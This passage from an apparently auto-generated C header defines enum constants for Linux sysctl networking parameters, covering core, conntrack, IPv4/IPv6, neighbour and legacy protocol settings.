BUS_ISA_MEM_BASE = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ BUS_ISA_PORT_BASE = 2, BUS_ISA_PORT_SHIFT = 3 }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE_WMEM_MAX = 1, NET_CORE_RMEM_MAX = 2, NET_CORE_WMEM_DEFAULT = 3, NET_CORE_RMEM_DEFAULT = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE_MAX_BACKLOG = 6, NET_CORE_FASTROUTE = 7, NET_CORE_MSG_COST = 8, NET_CORE_MSG_BURST = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE_OPTMEM_MAX = 10, NET_CORE_HOT_LIST_LENGTH = 11, NET_CORE_DIVERT_VERSION = 12, NET_CORE_NO_CONG_THRESH = 13, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE_NO_CONG = 14, NET_CORE_LO_CONG = 15, NET_CORE_MOD_CONG = 16, NET_CORE_DEV_WEIGHT = 17, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE_SOMAXCONN = 18, NET_CORE_BUDGET = 19, NET_CORE_AEVENT_ETIME = 20, NET_CORE_AEVENT_RSEQTH = 21, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE_WARNINGS = 22, }; enum { NET_UNIX_DESTROY_DELAY = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_UNIX_DELETE_DELAY = 2, NET_UNIX_MAX_DGRAM_QLEN = 3, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_MAX = 1, NET_NF_CONNTRACK_TCP_TIMEOUT_SYN_SENT = 2, NET_NF_CONNTRACK_TCP_TIMEOUT_SYN_RECV = 3, NET_NF_CONNTRACK_TCP_TIMEOUT_ESTABLISHED = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_TCP_TIMEOUT_FIN_WAIT = 5, NET_NF_CONNTRACK_TCP_TIMEOUT_CLOSE_WAIT = 6, NET_NF_CONNTRACK_TCP_TIMEOUT_LAST_ACK = 7, NET_NF_CONNTRACK_TCP_TIMEOUT_TIME_WAIT = 8, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_TCP_TIMEOUT_CLOSE = 9, NET_NF_CONNTRACK_UDP_TIMEOUT = 10, NET_NF_CONNTRACK_UDP_TIMEOUT_STREAM = 11, NET_NF_CONNTRACK_ICMP_TIMEOUT = 12, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_GENERIC_TIMEOUT = 13, NET_NF_CONNTRACK_BUCKETS = 14, NET_NF_CONNTRACK_LOG_INVALID = 15, NET_NF_CONNTRACK_TCP_TIMEOUT_MAX_RETRANS = 16, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_TCP_LOOSE = 17, NET_NF_CONNTRACK_TCP_BE_LIBERAL = 18, NET_NF_CONNTRACK_TCP_MAX_RETRANS = 19, NET_NF_CONNTRACK_SCTP_TIMEOUT_CLOSED = 20, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_SCTP_TIMEOUT_COOKIE_WAIT = 21, NET_NF_CONNTRACK_SCTP_TIMEOUT_COOKIE_ECHOED = 22, NET_NF_CONNTRACK_SCTP_TIMEOUT_ESTABLISHED = 23, NET_NF_CONNTRACK_SCTP_TIMEOUT_SHUTDOWN_SENT = 24, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_SCTP_TIMEOUT_SHUTDOWN_RECD = 25, NET_NF_CONNTRACK_SCTP_TIMEOUT_SHUTDOWN_ACK_SENT = 26, NET_NF_CONNTRACK_COUNT = 27, NET_NF_CONNTRACK_ICMPV6_TIMEOUT = 28, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NF_CONNTRACK_FRAG6_TIMEOUT = 29, NET_NF_CONNTRACK_FRAG6_LOW_THRESH = 30, NET_NF_CONNTRACK_FRAG6_HIGH_THRESH = 31, NET_NF_CONNTRACK_CHECKSUM = 32, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { NET_IPV4_FORWARD = 8, NET_IPV4_DYNADDR = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_CONF = 16, NET_IPV4_NEIGH = 17, NET_IPV4_ROUTE = 18, NET_IPV4_FIB_HASH = 19, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NETFILTER = 20, NET_IPV4_TCP_TIMESTAMPS = 33, NET_IPV4_TCP_WINDOW_SCALING = 34, NET_IPV4_TCP_SACK = 35, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_TCP_RETRANS_COLLAPSE = 36, NET_IPV4_DEFAULT_TTL = 37, NET_IPV4_AUTOCONFIG = 38, NET_IPV4_NO_PMTU_DISC = 39, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_TCP_SYN_RETRIES = 40, NET_IPV4_IPFRAG_HIGH_THRESH = 41, NET_IPV4_IPFRAG_LOW_THRESH = 42, NET_IPV4_IPFRAG_TIME = 43, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_TCP_MAX_KA_PROBES = 44, NET_IPV4_TCP_KEEPALIVE_TIME = 45, NET_IPV4_TCP_KEEPALIVE_PROBES = 46, NET_IPV4_TCP_RETRIES1 = 47, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_TCP_RETRIES2 = 48, NET_IPV4_TCP_FIN_TIMEOUT = 49, NET_IPV4_IP_MASQ_DEBUG = 50, NET_TCP_SYNCOOKIES = 51, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_STDURG = 52, NET_TCP_RFC1337 = 53, NET_TCP_SYN_TAILDROP = 54, NET_TCP_MAX_SYN_BACKLOG = 55, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_LOCAL_PORT_RANGE = 56, NET_IPV4_ICMP_ECHO_IGNORE_ALL = 57, NET_IPV4_ICMP_ECHO_IGNORE_BROADCASTS = 58, NET_IPV4_ICMP_SOURCEQUENCH_RATE = 59, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ICMP_DESTUNREACH_RATE = 60, NET_IPV4_ICMP_TIMEEXCEED_RATE = 61, NET_IPV4_ICMP_PARAMPROB_RATE = 62, NET_IPV4_ICMP_ECHOREPLY_RATE = 63, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ICMP_IGNORE_BOGUS_ERROR_RESPONSES = 64, NET_IPV4_IGMP_MAX_MEMBERSHIPS = 65, NET_TCP_TW_RECYCLE = 66, NET_IPV4_ALWAYS_DEFRAG = 67, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_TCP_KEEPALIVE_INTVL = 68, NET_IPV4_INET_PEER_THRESHOLD = 69, NET_IPV4_INET_PEER_MINTTL = 70, NET_IPV4_INET_PEER_MAXTTL = 71, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_INET_PEER_GC_MINTIME = 72, NET_IPV4_INET_PEER_GC_MAXTIME = 73, NET_TCP_ORPHAN_RETRIES = 74, NET_TCP_ABORT_ON_OVERFLOW = 75, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_SYNACK_RETRIES = 76, NET_TCP_MAX_ORPHANS = 77, NET_TCP_MAX_TW_BUCKETS = 78, NET_TCP_FACK = 79, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_REORDERING = 80, NET_TCP_ECN = 81, NET_TCP_DSACK = 82, NET_TCP_MEM = 83, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_WMEM = 84, NET_TCP_RMEM = 85, NET_TCP_APP_WIN = 86, NET_TCP_ADV_WIN_SCALE = 87, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NONLOCAL_BIND = 88, NET_IPV4_ICMP_RATELIMIT = 89, NET_IPV4_ICMP_RATEMASK = 90, NET_TCP_TW_REUSE = 91, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_FRTO = 92, NET_TCP_LOW_LATENCY = 93, NET_IPV4_IPFRAG_SECRET_INTERVAL = 94, NET_IPV4_IGMP_MAX_MSF = 96, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_NO_METRICS_SAVE = 97, NET_TCP_DEFAULT_WIN_SCALE = 105, NET_TCP_MODERATE_RCVBUF = 106, NET_TCP_TSO_WIN_DIVISOR = 107, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_BIC_BETA = 108, NET_IPV4_ICMP_ERRORS_USE_INBOUND_IFADDR = 109, NET_TCP_CONG_CONTROL = 110, NET_TCP_ABC = 111, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_IPFRAG_MAX_DIST = 112, NET_TCP_MTU_PROBING = 113, NET_TCP_BASE_MSS = 114, NET_IPV4_TCP_WORKAROUND_SIGNED_WINDOWS = 115, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_DMA_COPYBREAK = 116, NET_TCP_SLOW_START_AFTER_IDLE = 117, NET_CIPSOV4_CACHE_ENABLE = 118, NET_CIPSOV4_CACHE_BUCKET_SIZE = 119, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CIPSOV4_RBM_OPTFMT = 120, NET_CIPSOV4_RBM_STRICTVALID = 121, NET_TCP_AVAIL_CONG_CONTROL = 122, NET_TCP_ALLOWED_CONG_CONTROL = 123, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_TCP_MAX_SSTHRESH = 124, NET_TCP_FRTO_RESPONSE = 125, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ROUTE_FLUSH = 1, NET_IPV4_ROUTE_MIN_DELAY = 2, NET_IPV4_ROUTE_MAX_DELAY = 3, NET_IPV4_ROUTE_GC_THRESH = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ROUTE_MAX_SIZE = 5, NET_IPV4_ROUTE_GC_MIN_INTERVAL = 6, NET_IPV4_ROUTE_GC_TIMEOUT = 7, NET_IPV4_ROUTE_GC_INTERVAL = 8, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ROUTE_REDIRECT_LOAD = 9, NET_IPV4_ROUTE_REDIRECT_NUMBER = 10, NET_IPV4_ROUTE_REDIRECT_SILENCE = 11, NET_IPV4_ROUTE_ERROR_COST = 12, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ROUTE_ERROR_BURST = 13, NET_IPV4_ROUTE_GC_ELASTICITY = 14, NET_IPV4_ROUTE_MTU_EXPIRES = 15, NET_IPV4_ROUTE_MIN_PMTU = 16, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_ROUTE_MIN_ADVMSS = 17, NET_IPV4_ROUTE_SECRET_INTERVAL = 18, NET_IPV4_ROUTE_GC_MIN_INTERVAL_MS = 19, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_PROTO_CONF_ALL = - 2, NET_PROTO_CONF_DEFAULT = - 3 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_IPV4_CONF_FORWARDING = 1, NET_IPV4_CONF_MC_FORWARDING = 2, NET_IPV4_CONF_PROXY_ARP = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_CONF_ACCEPT_REDIRECTS = 4, NET_IPV4_CONF_SECURE_REDIRECTS = 5, NET_IPV4_CONF_SEND_REDIRECTS = 6, NET_IPV4_CONF_SHARED_MEDIA = 7, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_CONF_RP_FILTER = 8, NET_IPV4_CONF_ACCEPT_SOURCE_ROUTE = 9, NET_IPV4_CONF_BOOTP_RELAY = 10, NET_IPV4_CONF_LOG_MARTIANS = 11, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_CONF_TAG = 12, NET_IPV4_CONF_ARPFILTER = 13, NET_IPV4_CONF_MEDIUM_ID = 14, NET_IPV4_CONF_NOXFRM = 15, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_CONF_NOPOLICY = 16, NET_IPV4_CONF_FORCE_IGMP_VERSION = 17, NET_IPV4_CONF_ARP_ANNOUNCE = 18, NET_IPV4_CONF_ARP_IGNORE = 19, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_CONF_PROMOTE_SECONDARIES = 20, NET_IPV4_CONF_ARP_ACCEPT = 21, NET_IPV4_CONF_ARP_NOTIFY = 22, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_IPV4_NF_CONNTRACK_MAX = 1, NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_SYN_SENT = 2, NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_SYN_RECV = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_ESTABLISHED = 4, NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_FIN_WAIT = 5, NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_CLOSE_WAIT = 6, NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_LAST_ACK = 7, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_TIME_WAIT = 8, NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_CLOSE = 9, NET_IPV4_NF_CONNTRACK_UDP_TIMEOUT = 10, NET_IPV4_NF_CONNTRACK_UDP_TIMEOUT_STREAM = 11, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_ICMP_TIMEOUT = 12, NET_IPV4_NF_CONNTRACK_GENERIC_TIMEOUT = 13, NET_IPV4_NF_CONNTRACK_BUCKETS = 14, NET_IPV4_NF_CONNTRACK_LOG_INVALID = 15, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_TCP_TIMEOUT_MAX_RETRANS = 16, NET_IPV4_NF_CONNTRACK_TCP_LOOSE = 17, NET_IPV4_NF_CONNTRACK_TCP_BE_LIBERAL = 18, NET_IPV4_NF_CONNTRACK_TCP_MAX_RETRANS = 19, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_CLOSED = 20, NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_COOKIE_WAIT = 21, NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_COOKIE_ECHOED = 22, NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_ESTABLISHED = 23, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_SHUTDOWN_SENT = 24, NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_SHUTDOWN_RECD = 25, NET_IPV4_NF_CONNTRACK_SCTP_TIMEOUT_SHUTDOWN_ACK_SENT = 26, NET_IPV4_NF_CONNTRACK_COUNT = 27, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4_NF_CONNTRACK_CHECKSUM = 28, }; enum { NET_IPV6_CONF = 16, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_NEIGH = 17, NET_IPV6_ROUTE = 18, NET_IPV6_ICMP = 19, NET_IPV6_BINDV6ONLY = 20, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_IP6FRAG_HIGH_THRESH = 21, NET_IPV6_IP6FRAG_LOW_THRESH = 22, NET_IPV6_IP6FRAG_TIME = 23, NET_IPV6_IP6FRAG_SECRET_INTERVAL = 24, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_MLD_MAX_MSF = 25, }; enum { NET_IPV6_ROUTE_FLUSH = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_ROUTE_GC_THRESH = 2, NET_IPV6_ROUTE_MAX_SIZE = 3, NET_IPV6_ROUTE_GC_MIN_INTERVAL = 4, NET_IPV6_ROUTE_GC_TIMEOUT = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_ROUTE_GC_INTERVAL = 6, NET_IPV6_ROUTE_GC_ELASTICITY = 7, NET_IPV6_ROUTE_MTU_EXPIRES = 8, NET_IPV6_ROUTE_MIN_ADVMSS = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_ROUTE_GC_MIN_INTERVAL_MS = 10 }; enum { NET_IPV6_FORWARDING = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_HOP_LIMIT = 2, NET_IPV6_MTU = 3, NET_IPV6_ACCEPT_RA = 4, NET_IPV6_ACCEPT_REDIRECTS = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_AUTOCONF = 6, NET_IPV6_DAD_TRANSMITS = 7, NET_IPV6_RTR_SOLICITS = 8, NET_IPV6_RTR_SOLICIT_INTERVAL = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_RTR_SOLICIT_DELAY = 10, NET_IPV6_USE_TEMPADDR = 11, NET_IPV6_TEMP_VALID_LFT = 12, NET_IPV6_TEMP_PREFERED_LFT = 13, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_REGEN_MAX_RETRY = 14, NET_IPV6_MAX_DESYNC_FACTOR = 15, NET_IPV6_MAX_ADDRESSES = 16, NET_IPV6_FORCE_MLD_VERSION = 17, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_ACCEPT_RA_DEFRTR = 18, NET_IPV6_ACCEPT_RA_PINFO = 19, NET_IPV6_ACCEPT_RA_RTR_PREF = 20, NET_IPV6_RTR_PROBE_INTERVAL = 21, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV6_ACCEPT_RA_RT_INFO_MAX_PLEN = 22, NET_IPV6_PROXY_NDP = 23, NET_IPV6_ACCEPT_SOURCE_ROUTE = 25, NET_IPV6_ACCEPT_RA_FROM_LOCAL = 26, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ __NET_IPV6_MAX }; enum { NET_IPV6_ICMP_RATELIMIT = 1 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { NET_NEIGH_MCAST_SOLICIT = 1, NET_NEIGH_UCAST_SOLICIT = 2, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NEIGH_APP_SOLICIT = 3, NET_NEIGH_RETRANS_TIME = 4, NET_NEIGH_REACHABLE_TIME = 5, NET_NEIGH_DELAY_PROBE_TIME = 6, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NEIGH_GC_STALE_TIME = 7, NET_NEIGH_UNRES_QLEN = 8, NET_NEIGH_PROXY_QLEN = 9, NET_NEIGH_ANYCAST_DELAY = 10, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NEIGH_PROXY_DELAY = 11, NET_NEIGH_LOCKTIME = 12, NET_NEIGH_GC_INTERVAL = 13, NET_NEIGH_GC_THRESH1 = 14, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NEIGH_GC_THRESH2 = 15, NET_NEIGH_GC_THRESH3 = 16, NET_NEIGH_RETRANS_TIME_MS = 17, NET_NEIGH_REACHABLE_TIME_MS = 18, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { NET_DCCP_DEFAULT = 1, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_IPX_PPROP_BROADCASTING = 1, NET_IPX_FORWARDING = 2 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_LLC2 = 1, NET_LLC_STATION = 2, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_LLC2_TIMEOUT = 1, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_LLC_STATION_ACK_TIMEOUT = 1, }; enum { NET_LLC2_ACK_TIMEOUT = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_LLC2_P_TIMEOUT = 2, NET_LLC2_REJ_TIMEOUT = 3, NET_LLC2_BUSY_TIMEOUT = 4, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_ATALK_AARP_EXPIRY_TIME = 1, NET_ATALK_AARP_TICK_TIME = 2, NET_ATALK_AARP_RETRANSMIT_LIMIT = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_ATALK_AARP_RESOLVE_TIME = 4 }; enum { NET_NETROM_DEFAULT_PATH_QUALITY = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NETROM_OBSOLESCENCE_COUNT_INITIALISER = 2, NET_NETROM_NETWORK_TTL_INITIALISER = 3, NET_NETROM_TRANSPORT_TIMEOUT = 4, NET_NETROM_TRANSPORT_MAXIMUM_TRIES = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NETROM_TRANSPORT_ACKNOWLEDGE_DELAY = 6, NET_NETROM_TRANSPORT_BUSY_DELAY = 7, NET_NETROM_TRANSPORT_REQUESTED_WINDOW_SIZE = 8, NET_NETROM_TRANSPORT_NO_ACTIVITY_TIMEOUT = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_NETROM_ROUTING_CONTROL = 10, NET_NETROM_LINK_FAILS_COUNT = 11, NET_NETROM_RESET = 12 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_AX25_IP_DEFAULT_MODE = 1, NET_AX25_DEFAULT_MODE = 2, NET_AX25_BACKOFF_TYPE = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_AX25_CONNECT_MODE = 4, NET_AX25_STANDARD_WINDOW = 5, NET_AX25_EXTENDED_WINDOW = 6, NET_AX25_T1_TIMEOUT = 7, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_AX25_T2_TIMEOUT = 8, NET_AX25_T3_TIMEOUT = 9, NET_AX25_IDLE_TIMEOUT = 10, NET_AX25_N2 = 11, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_AX25_PACLEN = 12, NET_AX25_PROTOCOL = 13, NET_AX25_DAMA_SLAVE_TIMEOUT = 14 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_ROSE_RESTART_REQUEST_TIMEOUT = 1, NET_ROSE_CALL_REQUEST_TIMEOUT = 2, NET_ROSE_RESET_REQUEST_TIMEOUT = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_ROSE_CLEAR_REQUEST_TIMEOUT = 4, NET_ROSE_ACK_HOLD_BACK_TIMEOUT = 5, NET_ROSE_ROUTING_CONTROL = 6, NET_ROSE_LINK_FAIL_TIMEOUT = 7, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_ROSE_MAX_VCS = 8, NET_ROSE_WINDOW_SIZE = 9, NET_ROSE_NO_ACTIVITY_TIMEOUT = 10 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_X25_RESTART_REQUEST_TIMEOUT = 1, NET_X25_CALL_REQUEST_TIMEOUT = 2, NET_X25_RESET_REQUEST_TIMEOUT = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_X25_CLEAR_REQUEST_TIMEOUT = 4, NET_X25_ACK_HOLD_BACK_TIMEOUT = 5, NET_X25_FORWARD = 6 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_TR_RIF_TIMEOUT = 1 }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_DECNET_NODE_TYPE = 1, NET_DECNET_NODE_ADDRESS = 2, NET_DECNET_NODE_NAME = 3, NET_DECNET_DEFAULT_DEVICE = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_DECNET_TIME_WAIT = 5, NET_DECNET_DN_COUNT = 6, NET_DECNET_DI_COUNT = 7, NET_DECNET_DR_COUNT = 8, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_DECNET_DST_GC_INTERVAL = 9, NET_DECNET_CONF = 10, NET_DECNET_NO_FC_MAX_CWND = 11, NET_DECNET_MEM = 12, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_DECNET_RMEM = 13, NET_DECNET_WMEM = 14, NET_DECNET_DEBUG_LEVEL = 255 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_DECNET_CONF_LOOPBACK = - 2, NET_DECNET_CONF_DDCMP = - 3, NET_DECNET_CONF_PPP = - 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_DECNET_CONF_X25 = - 5, 